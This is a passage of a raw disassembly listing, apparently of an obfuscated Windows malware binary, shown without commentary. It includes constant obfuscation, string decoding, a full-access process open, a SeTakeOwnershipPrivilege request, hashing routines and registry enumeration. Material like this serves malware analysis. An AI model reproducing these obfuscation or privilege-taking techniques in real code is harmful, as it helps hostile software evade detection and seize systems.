sub_440CD2+18j push ebx movsx eax, word_55113C sub eax, 9 push eax push 1F0FFFh call ds:dword_54FF2C mov esi, eax lea eax, [ebp+var_4] push eax push 28h push esi call ds:dword_44B080 mov edi, eax mov edx, dword_551124 add edx, dword_5511F4 mov ecx, dword_5510C0 sub ecx, 2 mov [ebp+edx*4+var_68], ecx mov eax, dword_5510C0 sub eax, 2 cmp edi, eax jz loc_440F05 lea eax, [ebp+var_40] push eax push 28h lea eax, [ebp+var_3C] push eax mov eax, dword_5511A0 add eax, 0Ah add eax, dword_5511EC push eax push [ebp+var_4] call ds:dword_4CE90C mov edi, eax cmp [ebp+arg_0], 0 jz short loc_440DCE mov eax, dword_551100 sub eax, 9 cmp edi, eax jnz short loc_440D8F mov edi, dword_5510AC sub edi, 6 jmp loc_440F05 ; --------------------------------------------------------------------------- loc_440D8F: ; CODE XREF: sub_440CD2+ADj mov eax, dword_551120 mov edi, eax add edi, dword_551180 sub edi, 7 mov eax, dword_551214 movsx edx, word_551218 add eax, edx sub eax, 3 cmp [ebp+var_3C], eax jz loc_440F05 mov eax, dword_55123C mov edi, eax add edi, dword_5510DC sub edi, 4 jmp loc_440F05 ; --------------------------------------------------------------------------- loc_440DCE: ; CODE XREF: sub_440CD2+A1j mov eax, dword_551160 sub eax, 7 cmp dword_55128C, eax jnz short loc_440DF6 mov eax, dword_5511A0 add eax, 3FF8h push eax push 40h call ds:dword_48B9EC mov dword_55128C, eax loc_440DF6: ; CODE XREF: sub_440CD2+10Aj lea eax, [ebp+var_40] push eax movsx eax, word_551244 mov edx, dword_551100 lea eax, [eax+edx+3FF0h] push eax push dword_55128C push 1 push [ebp+var_4] call ds:dword_4CE90C mov eax, dword_551200 add eax, dword_5511B0 sub eax, 0Ch cmp dword_551288, eax jnz short loc_440E45 push 14h push 0 call ds:dword_48B9EC mov dword_551288, eax loc_440E45: ; CODE XREF: sub_440CD2+162j push 1 push dword_551288 call ds:dword_449008 mov edi, eax push 0 mov eax, dword_551168 movsx edx, word_551208 add eax, edx sub eax, 3 push eax push 1 push dword_551288 call ds:dword_48C1E4 mov edi, eax push 0 mov eax, dword_55128C push dword ptr [eax] push dword_551288 call ds:dword_48B9E8 mov edi, eax lea eax, [ebp+var_10] push eax push offset aSetakeownershi ; "SeTakeOwnershipPrivilege" mov eax, dword_551170 sub eax, 4 push eax call ds:dword_448020 mov edi, eax mov [ebp+var_8], 2 mov eax, dword_5511B0 sub eax, 7 cmp edi, eax jz short loc_440F05 movsx eax, word_5511F0 movsx edx, word_551148 add eax, edx sub eax, 6 mov [ebp+var_14], eax movsx eax, word_5510B4 sub eax, 5 push eax movsx eax, word_551164 add eax, dword_5511FC dec eax push eax mov eax, dword_551140 dec eax push eax lea eax, [ebp+var_14] push eax push 0 push [ebp+var_4] call ds:dword_4CD81C mov edi, eax loc_440F05: ; CODE XREF: sub_440CD2+23j ; sub_440CD2+73j ... push esi call ds:dword_4CD948 push [ebp+var_4] call ds:dword_4CD948 mov eax, edi pop edi pop esi pop ebx leave retn sub_440CD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440F1C proc near ; CODE XREF: sub_43EE88+B1p ; sub_43EE88+19Fp var_10038 = dword ptr -10038h var_10004 = dword ptr -10004h var_FFFF = byte ptr -0FFFFh var_FFFB = byte ptr -0FFFBh arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 10004h call sub_4475B4 push ebx push esi push edi mov esi, [ebp+arg_0] lea edi, dword_4CC440 cmp [ebp+arg_4], 43h jnz short loc_440F41 lea edi, dword_44B0A0 loc_440F41: ; CODE XREF: sub_440F1C+1Dj cmp [ebp+arg_4], 50h jnz short loc_440F4D lea edi, dword_4CD830 loc_440F4D: ; CODE XREF: sub_440F1C+29j mov eax, dword_5510C8 dec eax push eax push 80h push 3 mov eax, dword_5511D8 movsx edx, word_551094 add eax, edx sub eax, 6 push eax push 3 push 0C0000000h push edi call ds:dword_54FB18 mov edi, eax cmp edi, 0FFFFFFFFh jz loc_44104D push 0 mov eax, dword_551188 sub eax, 5 push eax push esi push edi call ds:dword_54FF30 mov eax, dword_551214 add eax, dword_55117C sub eax, 0Ah push eax lea eax, [ebp+var_10004] push eax push 0FFFFh lea eax, [ebp+var_FFFF] push eax push edi call ds:dword_448034 lea ecx, [ebp+var_FFFB] or eax, 0FFFFFFFFh loc_440FCB: ; CODE XREF: sub_440F1C+B4j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440FCB mov edx, dword_551154 add edx, dword_551178 sub edx, 0Ch mov ebx, eax add ebx, edx mov [ebp+var_10004], ebx push 0 movsx eax, word_5510FC add eax, dword_551188 sub eax, 7 push eax push esi push edi call ds:dword_54FF30 mov esi, dword_5511BC add esi, dword_5511C8 mov ebx, [ebp+var_10004] mov [ebp+esi*4+var_10038+1], ebx mov eax, dword_55115C sub eax, 4 push eax lea eax, [ebp+var_10004] push eax mov eax, dword_5511FC add eax, 4 push eax lea eax, [ebp+var_FFFF] push eax push edi call ds:dword_54FF1C push edi call ds:dword_4CD948 loc_44104D: ; CODE XREF: sub_440F1C+64j pop edi pop esi pop ebx leave retn sub_440F1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441052 proc near ; CODE XREF: sub_43D3AD+A8p var_11C = dword ptr -11Ch var_DC = dword ptr -0DCh var_9C = dword ptr -9Ch var_5C = dword ptr -5Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 11Ch push ebx push esi push edi mov eax, [ebp+arg_0] mov ecx, [eax+8] mov [ebp+var_4], ecx mov edx, [eax+4] mov [ebp+var_8], edx mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_C], eax lea edi, [ebp+var_11C] lea esi, dword_551360 mov ecx, 10h rep movsd lea edi, [ebp+var_5C] lea esi, dword_5513A0 mov ecx, 10h rep movsd lea edi, [ebp+var_9C] lea esi, dword_5513E0 mov ecx, 10h rep movsd lea edi, [ebp+var_DC] lea esi, dword_551420 mov ecx, 10h rep movsd mov eax, dword_551174 mov ebx, eax add ebx, eax sub ebx, 0Eh jmp loc_441206 ; --------------------------------------------------------------------------- loc_4410D5: ; CODE XREF: sub_441052+1C0j mov edi, ebx shl edi, 2 push [ebp+edi+var_11C] mov edi, dword_55118C add edi, 6 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] call sub_43DA46 add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_5511F8 inc eax cmp ebx, eax jz short loc_44115A mov edi, ebx add edi, dword_551224 push [ebp+edi*4+var_11C] movsx edi, word_551190 add edi, dword_5510B0 dec edi push edi mov edi, dword_5511F4 sub edi, 8 mov esi, ebx add esi, edi mov edi, [ebp+arg_4] push dword ptr [edi+esi*4] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_43DA46 add esp, 1Ch mov [ebp+var_10], eax loc_44115A: ; CODE XREF: sub_441052+BEj mov edi, dword_551168 movsx esi, word_551148 add edi, esi dec edi mov esi, ebx add esi, edi push [ebp+esi*4+var_11C] movsx edi, word_5510D0 add edi, 0Bh push edi movsx edi, word_5511CC sub edi, 7 mov esi, ebx add esi, edi mov edi, [ebp+arg_4] push dword ptr [edi+esi*4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] call sub_43DA46 mov [ebp+var_4], eax movsx edi, word_551210 add edi, dword_5511F8 sub edi, 5 mov esi, ebx add esi, edi push [ebp+esi*4+var_11C] mov edi, dword_5511BC add edi, 10h push edi movsx edi, word_551198 add edi, 2 mov esi, ebx add esi, edi mov edi, [ebp+arg_4] push dword ptr [edi+esi*4] push [ebp+var_C] push [ebp+var_10] push eax push [ebp+var_8] call sub_43DA46 add esp, 38h mov [ebp+var_8], eax mov eax, dword_551160 add eax, dword_551154 sub eax, 0Bh add ebx, eax loc_441206: ; CODE XREF: sub_441052+7Ej movsx eax, word_551164 add eax, 0Bh cmp ebx, eax jbe loc_4410D5 mov eax, dword_551154 mov ebx, eax add ebx, dword_55115C sub ebx, 0Bh mov eax, dword_551100 movsx edx, word_5510FC add eax, edx sub eax, 0Bh mov [ebp+var_14], eax jmp loc_4413DA ; --------------------------------------------------------------------------- loc_441241: ; CODE XREF: sub_441052+393j mov edi, [ebp+var_14] push [ebp+edi*4+var_5C] mov edi, dword_551178 sub edi, 4 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] call sub_43DAED add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_55124C sub eax, 4 add ebx, eax mov eax, dword_551204 add eax, 0Eh cmp ebx, eax jb short loc_44128F mov eax, dword_5511B4 add eax, 0Ch sub ebx, eax loc_44128F: ; CODE XREF: sub_441052+231j mov edi, [ebp+var_14] mov esi, dword_5510DC sub esi, 3 add edi, esi push [ebp+edi*4+var_5C] mov edi, dword_551174 movsx esi, word_551240 add edi, esi sub edi, 6 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_43DAED add esp, 1Ch mov [ebp+var_10], eax mov eax, dword_5510D4 add eax, dword_5510E4 sub eax, 5 add ebx, eax mov eax, dword_5510E4 add eax, 4 add eax, dword_551174 cmp ebx, eax jb short loc_4412FD mov eax, dword_5511B4 add eax, 0Ch sub ebx, eax loc_4412FD: ; CODE XREF: sub_441052+29Fj mov edi, [ebp+var_14] movsx esi, word_551210 add esi, dword_551200 sub esi, 8 add edi, esi push [ebp+edi*4+var_5C] mov edi, dword_55118C add edi, 9 add edi, dword_5511E4 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] call sub_43DAED add esp, 1Ch mov [ebp+var_4], eax mov eax, dword_551178 sub eax, 4 add ebx, eax mov eax, dword_551238 add eax, 10h cmp ebx, eax jb short loc_441363 mov eax, dword_5510D8 add eax, 0Ah sub ebx, eax loc_441363: ; CODE XREF: sub_441052+305j mov edi, [ebp+var_14] mov esi, dword_551200 sub esi, 2 add edi, esi push [ebp+edi*4+var_5C] movsx edi, word_5510C4 add edi, 0Eh push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_43DAED add esp, 1Ch mov [ebp+var_8], eax mov eax, dword_551100 sub eax, 4 add ebx, eax movsx eax, word_551210 mov edx, dword_5511A0 lea eax, [eax+edx+3] cmp ebx, eax jb short loc_4413CF mov eax, dword_551170 add eax, 8 movsx edx, word_551144 add eax, edx sub ebx, eax loc_4413CF: ; CODE XREF: sub_441052+368j mov eax, dword_55118C add eax, 3 add [ebp+var_14], eax loc_4413DA: ; CODE XREF: sub_441052+1EAj mov eax, dword_551224 add eax, 0Bh cmp [ebp+var_14], eax jbe loc_441241 mov ebx, dword_5510BC add ebx, 5 movsx eax, word_551138 sub eax, 3 mov [ebp+var_18], eax jmp loc_44159F ; --------------------------------------------------------------------------- loc_441406: ; CODE XREF: sub_441052+55Aj mov edi, [ebp+var_18] push [ebp+edi*4+var_9C] mov edi, dword_5510C8 add edi, 3 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] call sub_43ED8F add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_5510E0 sub eax, 3 add ebx, eax mov eax, dword_551114 add eax, 0Fh cmp ebx, eax jb short loc_441459 movsx eax, word_5510C4 add eax, 0Ah sub ebx, eax loc_441459: ; CODE XREF: sub_441052+3F9j mov edi, [ebp+var_18] mov esi, dword_5510D4 sub esi, 4 add edi, esi push [ebp+edi*4+var_9C] mov edi, dword_551100 add edi, 2 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_43ED8F add esp, 1Ch mov [ebp+var_10], eax movsx eax, word_551244 movsx edx, word_551104 add eax, edx sub eax, 4 add ebx, eax mov eax, dword_5510E4 add eax, 0Bh cmp ebx, eax jb short loc_4414C6 mov eax, dword_55123C add eax, 0Fh add eax, dword_551130 sub ebx, eax loc_4414C6: ; CODE XREF: sub_441052+462j mov edi, [ebp+var_18] mov esi, dword_5511B4 sub esi, 2 add edi, esi push [ebp+edi*4+var_9C] mov edi, dword_5511E0 add edi, 0Ch push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] call sub_43ED8F add esp, 1Ch mov [ebp+var_4], eax mov eax, dword_5511C0 add eax, 2 add ebx, eax movsx eax, word_551144 add eax, 0Ch cmp ebx, eax jb short loc_441524 mov eax, dword_5511C8 add eax, 8 sub ebx, eax loc_441524: ; CODE XREF: sub_441052+4C6j mov edi, [ebp+var_18] mov esi, dword_5511F4 movsx edx, word_551208 add esi, edx sub esi, 7 add edi, esi push [ebp+edi*4+var_9C] mov edi, dword_551158 add edi, 12h add edi, dword_551134 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_43ED8F add esp, 1Ch mov [ebp+var_8], eax mov eax, dword_551230 add eax, 2 add ebx, eax mov eax, dword_5511E0 add eax, 0Bh add eax, dword_5510C8 cmp ebx, eax jb short loc_441597 movsx eax, word_551190 add eax, 8 sub ebx, eax loc_441597: ; CODE XREF: sub_441052+537j mov eax, dword_551170 add [ebp+var_18], eax loc_44159F: ; CODE XREF: sub_441052+3AFj movsx eax, word_551138 add eax, 9 cmp [ebp+var_18], eax jbe loc_441406 mov ebx, dword_5510A4 sub ebx, 7 mov eax, dword_5510E4 add eax, dword_551140 sub eax, 6 mov [ebp+var_1C], eax jmp loc_441798 ; --------------------------------------------------------------------------- loc_4415D1: ; CODE XREF: sub_441052+751j mov edi, [ebp+var_1C] push [ebp+edi*4+var_DC] mov edi, dword_551248 add edi, 2 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] call sub_43D370 add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_5511C0 add eax, 6 add eax, dword_551238 add ebx, eax mov eax, dword_5511C8 add eax, 8 cmp ebx, eax jb short loc_441628 mov eax, dword_5510D8 add eax, 0Ah sub ebx, eax loc_441628: ; CODE XREF: sub_441052+5CAj mov edi, [ebp+var_1C] movsx esi, word_551104 add esi, dword_551110 sub esi, 8 add edi, esi push [ebp+edi*4+var_DC] mov edi, dword_551184 movsx esi, word_5511A4 add edi, esi push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_43D370 add esp, 1Ch mov [ebp+var_10], eax mov eax, dword_55114C add eax, 4 add eax, dword_551224 add ebx, eax movsx eax, word_551194 mov edx, dword_5511C8 lea eax, [eax+edx+7] cmp ebx, eax jb short loc_4416A9 movsx eax, word_551164 mov edx, dword_551178 lea eax, [eax+edx+6] sub ebx, eax loc_4416A9: ; CODE XREF: sub_441052+642j mov edi, [ebp+var_1C] mov esi, dword_5510D8 sub esi, 4 add edi, esi push [ebp+edi*4+var_DC] mov edi, dword_5511D8 add edi, 6 add edi, dword_5510E4 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] call sub_43D370 add esp, 1Ch mov [ebp+var_4], eax mov eax, dword_551214 add eax, 4 add ebx, eax mov eax, dword_5511C0 add eax, 0Fh cmp ebx, eax jb short loc_441714 mov eax, dword_5510E4 add eax, 5 movsx edx, word_5510C4 add eax, edx sub ebx, eax loc_441714: ; CODE XREF: sub_441052+6ADj mov edi, [ebp+var_1C] movsx esi, word_5510C4 sub esi, 3 add edi, esi push [ebp+edi*4+var_DC] mov edi, dword_55111C add edi, 11h add edi, dword_551168 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_43D370 add esp, 1Ch mov [ebp+var_8], eax movsx eax, word_551148 movsx edx, word_5510A8 lea eax, [eax+edx+6] add ebx, eax mov eax, dword_5511C0 add eax, 0Fh add eax, dword_551180 cmp ebx, eax jb short loc_441790 mov eax, dword_55121C add eax, 9 movsx edx, word_551138 add eax, edx sub ebx, eax loc_441790: ; CODE XREF: sub_441052+729j mov eax, dword_55115C add [ebp+var_1C], eax loc_441798: ; CODE XREF: sub_441052+57Aj mov eax, dword_551154 add eax, 4 cmp [ebp+var_1C], eax jbe loc_4415D1 mov edi, [ebp+arg_0] mov esi, dword_5511F8 add esi, dword_5511A0 mov ebx, [edi+0Ch] add ebx, [ebp+var_10] mov [edi+esi*4-20h], ebx movsx esi, word_551094 add esi, dword_551130 mov ebx, [edi] add ebx, [ebp+var_C] mov [edi+esi*4-0Ch], ebx movsx esi, word_551240 add esi, dword_551200 mov ebx, [edi+8] add ebx, [ebp+var_4] mov [edi+esi*4-2Ch], ebx mov esi, dword_55118C mov ebx, [edi+4] add ebx, [ebp+var_8] mov [edi+esi*4], ebx pop edi pop esi pop ebx leave retn sub_441052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441803 proc near ; DATA XREF: .data:005512ACo push ebp mov ebp, esp push offset dword_54FB14 call ds:dword_48B9F8 mov eax, ds:dword_54FB14 pop ebp retn 4 sub_441803 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44181A proc near ; CODE XREF: sub_440364+32Dp var_318 = dword ptr -318h var_314 = byte ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_303 = byte ptr -303h var_20D = byte ptr -20Dh var_204 = dword ptr -204h var_1FE = byte ptr -1FEh var_FF = byte ptr -0FFh var_FD = byte ptr -0FDh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 318h push ebx push esi push edi mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov edi, dword_551140 dec edi jmp loc_441A63 ; --------------------------------------------------------------------------- loc_441838: ; CODE XREF: sub_44181A+253j push offset word_551DFA call sub_43CAF7 push edi push eax lea edx, [ebp+var_303] push edx call ds:dword_50E928 mov eax, dword_551188 add eax, 0FAh add eax, dword_55118C mov [ebp+var_204], eax push offset dword_551DE8 call sub_43CAF7 lea edx, [ebp+var_314] push edx lea edx, [ebp+var_204] push edx lea edx, [ebp+var_FF] push edx push eax lea edx, [ebp+var_303] push edx push 80000001h call sub_442B18 add esp, 2Ch mov [ebp+var_310], eax test eax, eax jz loc_441A62 lea eax, [ebp+var_1FE] push eax lea eax, [ebp+var_FD] push eax call sub_43DBFE mov eax, dword_5510E0 add eax, dword_551200 sub eax, 0Ah push eax lea eax, [ebp+var_1FE] push eax push ebx call sub_43FE22 add esp, 14h mov edx, dword_55116C add edx, 0FFFAh cmp eax, edx jz loc_441A62 push offset word_551D8A call sub_43CAF7 pop ecx push eax lea edx, [ebp+var_FF] push edx call sub_4475D4 mov eax, dword_551184 add eax, dword_551160 sub eax, 0Bh mov [ebp+var_30C], eax mov eax, dword_5511F4 sub eax, 9 mov [ebp+var_308], eax jmp short loc_441960 ; --------------------------------------------------------------------------- loc_44192B: ; CODE XREF: sub_44181A+150j mov eax, [ebp+var_308] cmp [ebp+eax+var_FF], 23h jnz short loc_44195A mov eax, [ebp+var_308] mov edx, dword_551110 movsx ecx, word_55109C add edx, ecx sub edx, 0Fh mov [ebp+eax+var_FF], dl loc_44195A: ; CODE XREF: sub_44181A+11Fj inc [ebp+var_308] loc_441960: ; CODE XREF: sub_44181A+10Fj cmp [ebp+var_308], 0FFh jb short loc_44192B loc_44196C: ; CODE XREF: sub_44181A+242j mov eax, dword_5510E8 add eax, 0FBh add eax, dword_5510DC mov [ebp+var_204], eax lea eax, [ebp+var_314] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_1FE] push eax mov eax, [ebp+var_30C] lea eax, [ebp+eax+var_FF] push eax lea eax, [ebp+var_303] push eax push 80000001h call sub_442B18 add esp, 18h mov [ebp+var_310], eax test eax, eax jnz short loc_4419E3 movsx eax, word_5511E8 movsx edx, word_551190 add eax, edx mov edx, dword_551134 sub edx, 2 mov [ebp+eax+var_20D], dl loc_4419E3: ; CODE XREF: sub_44181A+1A7j mov eax, [ebp+var_30C] mov [ebp+var_318], eax lea ecx, [ebp+eax+var_FF] or eax, 0FFFFFFFFh loc_4419F9: ; CODE XREF: sub_44181A+1E4j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4419F9 mov ecx, [ebp+var_318] add ecx, eax mov [ebp+var_30C], ecx lea eax, [ebp+var_1FE] push eax push esi call ds:dword_44802C add esp, 8 push offset byte_551D85 call sub_43CAF7 add esp, 4 push eax push esi call ds:dword_44802C add esp, 8 inc [ebp+var_30C] mov eax, [ebp+var_30C] movzx eax, [ebp+eax+var_FF] mov edx, dword_551158 add edx, dword_5511BC sub edx, 9 cmp eax, edx jnz loc_44196C loc_441A62: ; CODE XREF: sub_44181A+89j ; sub_44181A+CFj inc edi loc_441A63: ; CODE XREF: sub_44181A+19j mov eax, dword_551110 add eax, 15h cmp edi, eax jb loc_441838 pop edi pop esi pop ebx leave retn sub_44181A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441A78 proc near ; DATA XREF: .data:005512B0o push ebp mov ebp, esp movsx eax, word_551208 dec eax cmp ds:dword_54FB14, eax jbe short loc_441A96 push offset dword_54FB14 call ds:dword_448014 loc_441A96: ; CODE XREF: sub_441A78+11j mov eax, ds:dword_54FB14 pop ebp retn 4 sub_441A78 endp ; =============== S U B R O U T I N E ======================================= sub_441A9F proc near ; CODE XREF: sub_43D3AD+83p arg_0 = dword ptr 4 push ebx push esi mov ecx, [esp+8+arg_0] mov esi, dword_551214 mov ebx, dword_5510D8 add ebx, 0EFCDAB82h movsx edx, word_5510CC add ebx, edx mov [ecx+esi*4-8], ebx movsx esi, word_551138 mov ebx, dword_551160 add ebx, 1032546Fh mov [ecx+esi*4], ebx movsx esi, word_5511C4 add esi, dword_551100 mov ebx, dword_551150 add ebx, 98BADCF4h add ebx, dword_5511BC mov [ecx+esi*4-3Ch], ebx mov esi, dword_551110 movsx ebx, word_551148 add ebx, 67452300h mov [ecx+esi*4-24h], ebx pop esi pop ebx retn sub_441A9F endp ; =============== S U B R O U T I N E ======================================= sub_441B17 proc near ; CODE XREF: sub_446ED7+2Fp push edi push offset word_551D7A call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_55126C, eax mov eax, dword_55110C movsx edx, word_551128 add eax, edx sub eax, 7 cmp dword_55126C, eax jnz short loc_441B5F push offset asc_551D6F ; "\a" call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_55126C, eax loc_441B5F: ; CODE XREF: sub_441B17+2Fj movsx eax, word_551128 sub eax, 5 cmp dword_55126C, eax jz short loc_441B8E push offset byte_551D59 call sub_43CAF7 pop ecx push eax push dword_55126C call ds:dword_44B1AC mov ds:dword_44B5B4, eax loc_441B8E: ; CODE XREF: sub_441B17+58j pop edi retn sub_441B17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441B90 proc near ; CODE XREF: sub_43D0C6+8Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, ebx shr edi, 4 mov eax, edi mov ecx, dword_551174 add ecx, 9 mul ecx mov [ebp+var_4], eax mov esi, ebx sub esi, eax movsx ebx, word_551104 inc ebx mov ecx, esi mov esi, ebx shl esi, cl mov ebx, [ebp+arg_0] movzx ebx, word ptr [ebx+edi*2] mov edi, ebx and edi, esi cmp edi, esi jnz short loc_441BE4 movsx eax, word_551144 mov edi, eax add edi, dword_551098 sub edi, 0Ch jmp short loc_441BF6 ; --------------------------------------------------------------------------- loc_441BE4: ; CODE XREF: sub_441B90+3Ej movsx eax, word_5510F8 mov edi, eax add edi, dword_551140 sub edi, 6 loc_441BF6: ; CODE XREF: sub_441B90+52j mov eax, edi pop edi pop esi pop ebx leave retn sub_441B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441BFD proc near ; CODE XREF: sub_43F41A+16Fp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4457E1 add esp, 8 mov esi, eax movsx eax, word_551194 dec eax cmp esi, eax jnz short loc_441C2A xor eax, eax jmp loc_441CD3 ; --------------------------------------------------------------------------- loc_441C2A: ; CODE XREF: sub_441BFD+24j mov eax, dword_5511A0 mov edi, eax add edi, dword_5511E0 sub edi, 8 mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_441C42: ; CODE XREF: sub_441BFD+4Aj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_441C42 mov [ebp+var_8], eax loc_441C4C: ; CODE XREF: sub_441BFD+CBj lea ecx, [esi+edi] or eax, 0FFFFFFFFh loc_441C52: ; CODE XREF: sub_441BFD+5Aj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_441C52 mov ebx, eax sub ebx, [ebp+arg_8] cmp ebx, [ebp+var_8] jnz short loc_441CB2 mov [ebp+var_10], 1 movsx eax, word_551128 sub eax, 5 mov [ebp+var_C], eax jmp short loc_441C9B ; --------------------------------------------------------------------------- loc_441C79: ; CODE XREF: sub_441BFD+A1j mov eax, [ebp+var_C] mov edx, edi add edx, eax add edx, [ebp+arg_8] movzx edx, byte ptr [esi+edx] mov ecx, [ebp+arg_4] movsx eax, byte ptr [ecx+eax] cmp edx, eax jz short loc_441C98 and [ebp+var_10], 0 jmp short loc_441CA0 ; --------------------------------------------------------------------------- loc_441C98: ; CODE XREF: sub_441BFD+93j inc [ebp+var_C] loc_441C9B: ; CODE XREF: sub_441BFD+7Aj cmp [ebp+var_C], ebx jb short loc_441C79 loc_441CA0: ; CODE XREF: sub_441BFD+99j cmp [ebp+var_10], 0 jz short loc_441CB2 push esi call ds:dword_44B5CC xor eax, eax inc eax jmp short loc_441CD3 ; --------------------------------------------------------------------------- loc_441CB2: ; CODE XREF: sub_441BFD+64j ; sub_441BFD+A7j add edi, [ebp+arg_8] mov eax, dword_551238 inc eax add eax, dword_55120C add edi, eax add edi, ebx cmp edi, [ebp+var_4] jb short loc_441C4C push esi call ds:dword_44B5CC xor eax, eax loc_441CD3: ; CODE XREF: sub_441BFD+28j ; sub_441BFD+B3j pop edi pop esi pop ebx leave retn sub_441BFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441CD8 proc near ; CODE XREF: sub_43B5D8+39Ap ; sub_43B5D8+493p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] xor edx, edx div esi mov edi, dword_5511AC sub edi, 2 cmp edx, edi jnz short loc_441CFC mov eax, [ebp+arg_0] jmp short loc_441D16 ; --------------------------------------------------------------------------- loc_441CFC: ; CODE XREF: sub_441CD8+1Dj mov eax, [ebp+arg_0] xor edx, edx div esi mov [ebp+var_8], eax mov edi, eax mul esi mov [ebp+var_C], eax mov edi, eax add edi, esi mov [ebp+var_4], edi mov eax, edi loc_441D16: ; CODE XREF: sub_441CD8+22j pop edi pop esi leave retn sub_441CD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441D1A proc near ; DATA XREF: sub_43A324+1017o ; sub_43A324+1067o ... var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_219 = byte ptr -219h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_108 = byte ptr -108h var_105 = byte ptr -105h var_104 = byte ptr -104h var_103 = byte ptr -103h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 230h push ebx push esi push edi mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, ebx cmp eax, 100h jz short loc_441D4B jl loc_442306 cmp eax, 111h jz loc_441DE6 jmp loc_442306 ; --------------------------------------------------------------------------- loc_441D4B: ; CODE XREF: sub_441D1A+19j cmp [ebp+arg_8], 9 jnz 